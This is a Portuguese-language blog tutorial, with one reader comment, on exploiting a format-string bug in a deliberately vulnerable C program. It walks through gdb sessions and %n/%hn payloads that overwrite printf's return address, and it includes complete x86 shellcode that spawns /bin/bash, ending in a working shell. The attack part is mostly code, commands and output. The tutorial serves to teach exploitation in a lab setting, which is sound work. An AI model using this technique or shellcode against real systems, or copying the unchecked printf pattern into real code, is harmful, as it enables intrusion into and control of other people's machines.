Explorando usando format-string

Olá, neste post iremos tratar de uma velha e vulnerabilidade conhecida como format-string, que é explorada por meio de formatadores (%x, %n etc) na ausência de respectivo parâmetro. Focaremos neste post a possibilidade de escrita em um endereço arbitrário.

O código vulnerável que usaremos segue abaixo:

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv) {
	int  pad = 0xbabe;
	char buf[1024];
	strncpy(buf, argv[1], sizeof(buf) - 1);
 
	printf(buf);
 
	return 0;
}

A ideia que precisa ser compreendida é que podemos acessar a informação contida na própria string de formatação, e escrevermos nela em forma de endereço através da stack por meio dos formatadores do printf.

Vamos colocar um breakpoint antes da chamada da PLT do printf e vermos como está a stack neste momento, para visualizarmos isso melhor.

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:	push   %ebp
0x080483f5 <main+1>:	mov    %esp,%ebp
0x080483f7 <main+3>:	and    $0xfffffff0,%esp
0x080483fa <main+6>:	sub    $0x420,%esp
0x08048400 <main+12>:	movl   $0xbabe,0x41c(%esp)
0x0804840b <main+23>:	mov    0xc(%ebp),%eax
0x0804840e <main+26>:	add    $0x4,%eax
0x08048411 <main+29>:	mov    (%eax),%eax
0x08048413 <main+31>:	movl   $0x3ff,0x8(%esp)
0x0804841b <main+39>:	mov    %eax,0x4(%esp)
0x0804841f <main+43>:	lea    0x1c(%esp),%eax
0x08048423 <main+47>:	mov    %eax,(%esp)
0x08048426 <main+50>:	call   0x8048310 <strncpy@plt>
0x0804842b <main+55>:	lea    0x1c(%esp),%eax
0x0804842f <main+59>:	mov    %eax,(%esp)
0x08048432 <main+62>:	call   0x8048330 <printf@plt>
0x08048437 <main+67>:	mov    $0x0,%eax
0x0804843c <main+72>:	leave  
0x0804843d <main+73>:	ret    
End of assembler dump.
(gdb) b *0x08048432
Breakpoint 1 at 0x8048432
(gdb) r 'AAAA'
Breakpoint 1, 0x08048432 in main ()
(gdb) x/10x $esp
0xffffd190:	0xffffd1ac	0xffffd7ce	0x000003ff	0x00000044
0xffffd1a0:	0x00000044	0x00000004	0x00000004	0x41414141
0xffffd1b0:	0x00000000	0x00000000

Quando não temos os argumentos sendo passados para a printf referente aos formatadores (%d, %p, etc), a stack é acessada como se eles estivessem lá. Isto que o torna um caminho para exploração. Conseguimos mostrar os endereços que estão na stack, bem como ler e escrever em endereço arbitrários.

No nosso caso acima, se colocarmos 7 '%p's acessaremos o valor 0x41414141, que é nosso 'AAAA'. (visto que chamamos printf("AAAA"))

(gdb) r $(python -c "print 'AAAA' + '|%p|'*7")
AAAA|0xffffd7b2||0x3ff||0x44||0x44||0x4||0x4||0x41414141|

Com isso em mãos, o que nos resta é escrever no dado endereço os bytes que desejarmos. Para isso usaremos o formatador %n, que é usado para escrever o número de bytes impresso até onde ele aparece na string em um parâmetro fornecido para
printf. Como estamos explorando a falta desse argumento, o printf irá obter nosso 'AAAA' (4 bytes) na stack como se fosse o endereço de uma variável onde ele iria escrever a tal informação.

Vamos tentar então escrever com %n em 0x41414141 (nosso 'AAAA')!

(gdb) r $(python -c "print 'AAAA' + '%7\$n'")
Program received signal SIGSEGV, Segmentation fault.
0xf7ec5f2e in _IO_vfprintf_internal (s=0xf7fc84c0, format=0xffffd19c "AAAA%7$n", ap=0xffffd184 "\312\327\377\377\377\003") at vfprintf.c:1950
1950	vfprintf.c: No such file or directory.
	in vfprintf.c
(gdb) x/i $eip
0xf7ec5f2e <_IO_vfprintf_internal+16382>:	mov    %edx,(%eax)
(gdb) x $eax
0x41414141:	Cannot access memory at address 0x41414141
(gdb) x $edx
0x4:	Cannot access memory at address 0x4

Pronto! Temos um crash devido a tentativa de dereferenciar o endereço 0x41414141.

Observe que usamos %7$n para se referenciar a área de memória onde está o nosso 'AAAA', o qual mandamos a printf usar como endereço para escrever o número de bytes impresso por meio de %n.

O que precisamos agora é de um endereço válido, para podermos sobreescrevê-lo com um endereço do nosso alvo. Como precisaríamos de muitos bytes impressos para escrever de uma vez só um endereço (4 bytes), montaremos o endereço escrevendo duas vezes um número usando 2 bytes.

Para este teste, nosso endereço alvo será o endereço de um shellcode em uma variável de ambiente, e o endereço que iremos sobreescrever é o return address do printf.

Colocando um breakpoint na PLT do printf poderemos pegar seu return address.

Lembrando que ele é:

0x08048432 <main+62>:	call   0x8048330 <printf@plt>

(gdb) b *0x8048330
Breakpoint 3 at 0x8048330
(gdb) r
(gdb) x/a $esp
0xffffd0bc:	0x8048437 <main+67>

Antes de partirmos para a exploração usando shellcode, comprovaremos que estamos manipulando o EIP, escrevendo byte a byte usando o %n.
Como escreveremos cada byte do return address, colocaremos na string passada para o printf o endereço de cada byte deste endereço, para então escrevermos neles individualmente.

Isto é: 0xffffd0bc, 0xffffd0bd, 0xffffd0be, 0xffffd0bf

(gdb) r $(python -c "print '\xbc\xd0\xff\xff' + '\xbd\xd0\xff\xff' + '\xbe\xd0\xff\xff' + '\xbf\xd0\xff\xff' + '%7\$n%8\$n%9\$n%10\$n'")
Program received signal SIGSEGV, Segmentation fault.
0x10101010 in ?? ()

E então, usaremos o seguinte shellcode que abre uma shell:

$ export SHELLCODE=$(python -c "print '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")

Vamos encontrar o endereço desse shellcode!

$ gdb -q vuln
(gdb) r $(python -c "print 'AAAABBBBCCCCDDDD' + '%7\$n%8\$n%9\$n%10\$n'")
(gdb) x/500s $esp
...
0xffffd7dc:	 "SHELLCODE=j\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341̀"

Vamos agora fazer ele executar o shellcode. Lembrando que ele
começa em 0xffffd7dc+10 (10 = strlen("SHELLCODE=")), logo 0xffffd7e6. Usaremos %hn, que nos possibilita escrever 16bits, logo precisaremos escrever apenas 2 vezes para montar o endereço.

Vamos checar novamente o return address do printf:

(gdb) x/a $esp
0xffffd13c:	0x8048437 <main+67>

Então, precisaremos escrever 2 bytes em 0xffffd13c e em 0xffffd13e. Vamos testar!

(gdb) r $(python -c "print '\x3c\xd1\xff\xff' + '\x3e\xd1\xff\xff' + '%7\$hn%8\$hn'")
Program received signal SIGSEGV, Segmentation fault.
0x00080008 in ?? ()

Ok, ele imprime 8 bytes, então vamos fazer o cálculo para montar o endereço 0xffffd7e6,
que é o endereço do shellcode.

(gdb) p 0xd7e6 - 8
$1 = 55262
(gdb) p 0xffff - 55262 - 8
$3 = 10265
 
(gdb) r $(python -c "print '\x3c\xd1\xff\xff' + '\x3e\xd1\xff\xff' + '%55262u%7\$hn%10265u%8\$n'")
...
                                                                                  Executing new program: /bin/bash
$ exit
exit
 
Program exited normally.
(gdb)

É isso aí, a partir daí você pode pensar em outras possibilidades, como escrever na seção .dtors do ELF o endereço de seu shellcode, etc.

Muito bom, hein! Até eu

Muito bom, hein! Até eu quase entendi =D

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options